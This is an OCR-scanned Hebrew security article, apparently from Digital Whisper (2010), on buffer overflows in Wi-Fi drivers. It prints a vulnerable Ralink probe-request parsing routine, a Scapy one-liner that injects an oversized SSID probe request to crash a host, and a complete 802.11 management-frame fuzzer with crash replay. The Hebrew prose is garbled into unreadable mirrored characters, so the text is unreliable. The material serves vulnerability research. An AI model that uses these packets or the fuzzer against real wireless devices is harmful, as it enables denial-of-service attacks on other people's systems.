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2N IR NY7'Y NN nTnn AP-n L, NNANNN Nl
,NN2NNN Nwjpa AP-7 n71w 01770 — Optional Shared key Authentication .2
NIYN 17 1'ThNY AP-7 INIX 2'TANI VO7VN NIX ['9¥N V17PN ,000 17 V' ThNY
121 17¥ NNONNI TN NN
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debian-abc: ~# ifconfig wlanO up
debian-abc ~# iwconfig wlanO mode monitor
debian-abc: ~# iwpriv wlanO rfmontx 1

Scapy

,N7W1Y NI7'ann DX X7 ') UNNWI N2 NNI90N 'IT 1NAINY '9)

[IN'S VOO N2 AI7'WA DAl Interpreter-D DA Scapy-1 WNNWNY? N1

debian-abc:~# scapy
Welcome to Scapy (1.0.4.lbeta)
>>> 1s(Dotll)

subtype : BitField = (0)
type : BitEnumField = (0)
proto : BitField = (0)
FCfield : FlagsField = (0)
ID : ShortField = (0)
addrl : MACField = ('00:00:00:00:00:00")
addr?2 : DotllAddr2MACField = ('00:00:00:00:00:00")
addr3 : DotllAddr3MACField = ('00:00:00:00:00:00")
SC : LEShortField = (0)
addr4 : DotllAddr4MACField = ('00:00:00:00:00:00")
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J'TRNYT ,NI7WY  Ni7an it nin-7y oxaw o 75 nx n'7on (1 802.11 7w ix'izn) Dotll nrv0
.DINX NI9'PN AI07 DA WNW? 710! X' D NNIX 107 Y71In - VIYD 21'TRD NIYYT7 17'981 N7

:Beacon N'7'an 7w nn'7wYh XnaIT

>>>

frame=Dotll (addr1="11:11:11:11:11:11",addr2="ff:ff:ff:£ff:ff:££f"', addr3="
11:11:11:11:11:11") /DotllBeacon ()

>>> sendp (frame)

Sent 1 packets.
>>>

7511 70 ,n7'aNn NX 0'N71IV 1INIRY NTA 910'W Wireshark NX NN 170NN DX 207 nin 7y
NN NNIX2 NNIK NN

Fle Edit View Go Capture Analyze Statistics Help

S &l @l EPEx@E8 Re»2oFT L [EE
[ Fiter: LI+§xpressinn... Y Clear

Ma. . Time Source Destination Protacol Info
1 0, 000000 Broadcast 11:11:11:11:11:11 IEEE 802.11 Beacon fra
K| | +
FFlags: v E‘

Duration: O
Destination address: 11:11:11:11:11:11 §11:11:11:11:11:11}
Source address: Broadcast (ff:ff.ff:.ff:ff:FfF)

Bss Id: 11:11:11:11:11:11 §11:11:11:11:11:11)
Fragment number: @

Sequence number: @

= IEEE 802.11 wireless LAMN management frame
= Fivad maramatarc (17 hutacl Ad|

0000 80 00 00 00 11 11 11 11 11 11 | SONnetuimaemmeml oo -
0010 11 11 11 11 11 11 00 Q8 00 00 00 00 00 00 00 00 ... .00 e,
0020 00 &4 00 00 od.

Source Hardware Address (wlan.sal, 6 bytes | P:1D:1M:00rops: 0 A

NN ,MAC-11:11:11:11:11:11 namdn NN7waw Beacon A101 N'7'aN 10X D 'AN7 [N namnnn
NNoNY? N29IN N7W N'7'aNNY 7D - D'09INA D'V XY ,Broadcast-7 127w BSSID-n nxya
Niynwn
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TP MwhIn
1 DMAMITN Y IEAN TIA DX NITONOoN MT 7Y 2T [9INA 'MINYA NIYRIN NY72INn DX

sanity.c

1. BOOLEAN PeerProbeRegSanity (
2 IN PRTMP ADAPTER pAd,
3. IN VOID *Msg,

4. IN ULONG MsglLen,

5 OUT PUCHAR pAddr2,

6 OUT CHAR Ssidl],

7 OUT UCHAR *pSsidLen)

8

9. UCHAR Idx;

10. UCHAR Ratelen;

11. CHAR IeType;

12. PFRAME 802 11 pFrame = (PFRAME 802 11)Msg;

13.

14. COPY MAC ADDR (pAddr2, pFrame->Hdr.Addr2);

15.

le. if ((pFrame->Octet[0] != IE SSID) || (pFrame->Octet[1l]
> MAX LEN OF SSID))

17. {

18. DBGPRINT (RT _DEBUG TRACE, "PeerProbeRegSanity fail -

wrong SSID IE (Type=%d,Len=%d)\n",pFrame->0Octet[0], pFrame-
>Octet [1]);

19. return FALSE;

20. }

21.

22. *pSsidlLen = pFrame->Octet[1l];

23. NdisMoveMemory (Ssid, &pFrame->Octet[2], *pSsidLen);
24 .

. AD-HOC 7w 2a¥n2 71 DK NINTD DEXAIDN 1D iy wr

AORPIBT NN

"21ITA D PITA7 IMVNAY YIAp 7w NNKR NPT ,SSID 19817 NNy 197 N'Ta ny¥xann 16 niwa
NNIX I'78 198N 7Y o 7TIAN 7Y nw np'Tal  nwnn ow 9w nrnnn i L, SSID-a
.[am> NNL™YIA 0N D'PTAIY 0N Y ,0''NYN

N7w N1ann W nNmann nkynl mime.h qina

typedef struct PACKED FRAME 802 11 {
HEADER 802 11  Hdr;

112 nowa nr nnnl?Wifi Drivers Buffer Overflow
www.DigitalWhisper.co.il
6 2010 vouax ,11 ji''a




Technologic

CHAR Octet[1l];
} FRAME 802 11, *PFRAME 802 11;

Char 7w 7712 D'PTI2 NNIX 16 NYIYWA Np'TaaY [1'n Integer Overflow 117 W' 2% 0'w7 naw '9d
ANIF ANINA 27w NPTAN DX 1 L(128-n 71m) 7w e 17w 9TIan 7wun? oRY D L nion
SSID "9xaN 7T1Ian ANIf N2n L,128-n 71Ta 190N 7271 W ,nion X7 19017 Nnaon n'nn 23 Miva

.(rtmp_def.h yaizn 1M YTam) 0N 32 o0 102 Xinw MAX_LEN_OF_SSID 77122 7nniknn

Yy nTann DX NRYY7 N "X -UIYUO TIKN XIN |IP'"in ,V1.0.5.0 hoaa Ty nlpZin nYw7Inn
: mime.h-2 015> vr91n 0T 72 ,UCHAR-7 Octet[]

typedef struct PACKED FRAME 802 11 {
HEADER 802 11  Hdr;
UCHAR Octet[1l];

} FRAME 802 11, *PFRAME 802 11;

Int -N NIY2IN 17X N2 ['N2NYT NYRY NIYIINN D [“X7 W' NRAN XY DT 'RY '9 7V R ,1aX
NIY7IN .M 12 D'NDdNN 7Y TIRa RIXAY N9I¥n K7W NNRA NI'OX7 strepy Niw2in ,Overflow
N7V yNn? yTir A7'onign onpminn 7naw ninn  niovial nirn Int overflow

so called ) MWLN NX NDI'Y V790X MY NIAY XY AYTIN NN NFOAIKT -["1Y7 1T
Windows-1 NIX17 D'I9Y 1INIX N0 N'AN DRY 2 ,Kernel Mode-1 y1 " Taw 1 111 .(POC
.(Blue Screen of Death) BSOD-n NX

n7an 17 nitw7 AD-HOC axna nYw o'vdn NX 7'won7 ' nw7inn nx a7 ‘v o m
.128-n 2172 SSID Dy ProbeRequest

>>>frame=Dotll (addrl="ff:ff:ff:ff:ff:££f",addr2="£5:£5:£5:£5:£5:£5", addr
3="f5:f5:f5:f5:£5:f5") /Dot11ProbeReq ("\0\xbc"+0xbc*'a")
>>> sendp (frame)

Sent 1 packets.
>>>
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1PN v pima? Wireshark nnoa

Fle Edit View Go Capture Analyze Statistics Help

B e BE*x®E Res0FEI[EB
E]_Hlter: LI+§xpressiun... %glaar

Mo. . Time Source Destination Protocol Infa

f5: f5:f5: f5:f5: 5 Broadcast IEEE 802.11 Probe Requ

[*]

[4]

Bos 10 To T TonTonTon T TTonTo T Tor Ton T3] Z‘

Fragment number: O

Sequence number: @

= IEEE 802.11 wireless LAMN management frame
= Tagged parameters (190 bytes)

A= D =1 L o ] - - - EEEEEEE EEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEE EEEEEEL
Tag Mumber: 0 (SSID parameter set)
Tag length: 188
Tan 'in'l'Pr'nr'P'I'a'I"inn: AAAAAAAAAAAAARAAARAAAAAAAAAAAAAAAAAAAAAARAARAAAAAARAAAARAAARAAAAARAARA

*

4

Ll

1]

0010 fs f5 f5 f5 f5 00 0O
oozo [ : : =

0030
0040
0050

AN K1 |

{{P: 2D: 2 M: 0 Drops: 0

2PN 7w 22T DA WD VIWD K7 RWID RIN NW7INN 71X .BSOD W' '7¥X ,0DN'R NN VTI* X7 "IX
.(Rwim n7¥Im 12007 N191 D DX L,IXD 2'NN X7 D7)

78D 7aB ,A9IND

JINNR NIY7IN 2 RIXNTZ '221'W ATRD ANID XY 'MO7NNIEIZNNN DX 'NDwnn
:071¥2 DITXD D210 W DAY YITD

.D"MYONN D'DIYN 70 X DNQ 2'¥N'7 D'0INI DAXYA D'¥AP/NI7'ANN NX DIX'AN DNTRD @
12T7 X7, AT [N DNRY 2710 N1 ATRO 7w nXAni Peach - XIN D TAIYW DONI9NA 1TRD
.0yo 02 |1 i NdN AT Y
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.NT OY TTIAN' NYA 'R NIRYY "D NIK D'YAYN VIYSI NN NI7'an 0'NRI7N ONTRD @
.zzuf RIN )2 TAIYY DONIDN TXD

.(A¥nn NX NNYWY DN DNKR) 7 D7wN X7 TAR QX NIRT 702 ' ,N1WN '¥9IXA 'MNN]

YT NNXMN NN NYRaIe a7onn noivel a7%p In'o nMoo XN LFusil-a 'mwnnwin
TAX X 'MNNY? DRIRY TY NIX W27 1IN DD Management NI7'AN 01907 'M11DN TROY
1NN N AYNNN D 2'NNY Nn) A1'9 NN N7 NN 150n7 NNX .0NIR DN'WONn
X7 D'WONN TNRI DTN .0"NA [TV DAY 'NRT'I 'NPTAY 01'wonn 757 (ANX 0'v1da nwA?
TD 019 [DINA NIX ZITA7 21w 7D ,IN7wWY NI'ann 73 DR Pickle yalpa i ATXoON 20

.0N7 17 nna [n ' NNty

PNYY? M7nnnl Wireless-2 D'UNNWNY N1 7 W'y DN'WOINN 70 DX 'MXAN ,ITXON N2AND NXY
AVININY YUY ITRON NPT NN INXKY .NI7'AN 79 NNCTR NINMD 1TYN V12 1TXONY TIva ,DN'N
N7 17 NNNAW QYT NWRIN NRXA PN -2an XY

debian-abc:# python2.4 wififuzz.py 10.0.0.138

802.11 Management 4L 00:26:82:41:b2:1f > ff:ff:ff:ff:ff:ff
802.11 Management 3L 00:26:5a:7c:23:41 > 00:26:82:41:b2:1f
802.11 Management 2L 00:26:82:41:b2:1f > 00:26:5a:7c:23:41
10.0.0.138 Crushed?

debian-abc:# python

Python 2.5 (release25-maint, Jul 20 2008, 20:47:25)
[GCC 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)] on linux?2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> fp = open("10-0-0-138.pickle")
>>> pck = pickle.load(fp)
>>> pay list = pickle.load(fp)
>>> conf.iface="wlanO"
>>> for i1 in pay list:
pck.payload.payload=i
sendp (pck)

Sent 1 packets.
Sent 1 packets.

Sent 1 packets.

10.0.0.138-7 21'5 yx11 N7 'apna
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debian-abc:# ping 10.0.0.138

64 bytes from 10.0.0.138: icmp seg=34 ttl=64 time=0.513 ms
64 bytes from 10.0.0.138: icmp seg=35 ttl=64 time=0.512 ms
64 bytes from 10.0.0.138: icmp seg=36 ttl=64 time=0.508 ms
64 bytes from 10.0.0.138: icmp seqg=37 ttl=64 time=0.509 ms
64 bytes from 10.0.0.138: icmp seqg=38 ttl=64 time=0.518 ms
ping: sendmsg: Network is unreachable

ping: sendmsg: Network is unreachable

o O O O

2'WONN OX NNMY 70 INKY 21727 DT IRWIY N 70,2107 2'09n 1'wonin D 0'RIN D'Ion 2A9vA
.n

W7 DNAY 'MN7¥N DD TV LInwn 007 00 DX '7 IV'TIN DX NNWK ,0DNXY] NI017 DYNTIN DNKR
.0Ny77 D"'won

:DONINXINT ITRON 7w TIpN qQaIxn

/bin/env python
2010 Jan
Simple script for 802.11 Management frames fuzzing.
Using libs: Scapy,Fusil

#!

#

#

#

#

# Usage
# ./wififuzz.py <hosts to ping>

# Ex:

# ./wififuzz.py 192.168.0.1,192.168.0.4

# output file will be "192.168.0.1.pickle" or/and 192.168.0.4

# The crushing packet will be in "192.168.0.1.pickle"

# Written by AvivB, springsec {At} gmail.com

#This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the

Free Software Foundation, Inc.,

59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

S oS S e S S e $E 3 S o
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import sys

import os

import time

import fusil

from fusil.bytes generator import BytesGenerator,
PRINTABLE ASCII,ASCIIO

from scapy import *

import getopt, sys

import pickle

lan = "ethO"
wlan = "wlanO" # WLAN adapter

victims=sys.argv[l].split(',")
conf.iface="wlan0O"

pkts=[]
output counter=0

def check crushed(pck,payloads list):
conf.iface="ethQ"
remove list=[]
for 1 in victims:
res =
r (IP(dst=1i) /ICMP (), timeout=30,iface="eth0', verbose=0)
if ( len(res[1]) > 0):
# check unanswered
print "%s Crushed?" i

#if ( os.path.isfile(filename)

filename = i.replace('.','=-")+'
(
]

fp = open(i.replace (
# save the packet
pickle.dump (pck, fp)
pickle.dump (payloads list, fp)
#pickle.dump (payload index, fp)
remove list+=[1]
fp.close ()
conf.iface="wlan0Q"
for i in remove list:
victims.remove (1)

def gen and send(pd, pck,datagen,malformed) :
pd list = []
for i in range(0,50):
pd.info = datagen.createValue ()
if not malformed:
pd.len = len(pd.info)
else:

pd.len
sendp (pck, verbose=0)
#time.sleep (0.001)

.l,l_l)+l'

fusil.bytes generator.

.pickle'
== True) :
pickle',"w")

randint (0, 255)
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pd list+=[copy.deepcopy (pd) ]
check crushed(pck,pd list)

def fuzzit (pd,pck):
#print "Start Fuzzing"
s _len = pd.len
s _info = pd.info
datagen = BytesGenerator (800, 1100, PRINTABLE ASCII)
# heavy packets
gen_and_send(pd, pck,datagen, 0)
datagen = BytesGenerator (800, 1100, ASCIIO)
# heavy packets
gen_and_send(pd, pck,datagen, 0)
datagen = BytesGenerator(l, 255, PRINTABLE ASCII)
# regualar checks
gen_and_send (pd, pck, datagen, 0)
datagen = BytesGenerator(l, 255, ASCIIO)
# regualar checks
gen_and_send (pd, pck, datagen, 0)
datagen = BytesGenerator(l, 255, PRINTABLE ASCII)
gen_and_send (pd, pck,datagen, 1)
# malformed packets
datagen = BytesGenerator(l, 255, ASCIIO)
gen_and_send (pd, pck,datagen, 1)
# malformed packets
pd.len = s len
pd.info = s_info

def start fuzz (pck, junk) :
#print pck.summary
start pd = pck.payload.payload
# first section to fuzz
pd = start pd
dcopy = copy.deepcopy (pck)
while pd != NoPayload() :
pd save = copy.deepcopy (pd)
fuzzit (pd, pck)
pd = copy.deepcopy (pd_save)
pd = pd.payload

# Managment Fuzzing
while True:

count = 0
already in = 0
while True:
d = sniff (count=1, iface = "wlanO")

# Sniff packet

if d[0].type == 0 and d[0].subtype in xrange(0,5) and
d[0] .payload.payload != NoPayload()
# only managment for now
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already in = 0
for i in pkts:
if i == d[0] .mysummary () :
already in = 1
if already in ==
print "%$s" % (d[0].mysummary())
t=(d[0],None)

pkts.insert (0, copy.deepcopy (d[0] .mysummary () ))
#thread.start new thread(start fuzz,t)
start fuzz (d[0], 'junk")
count += 1
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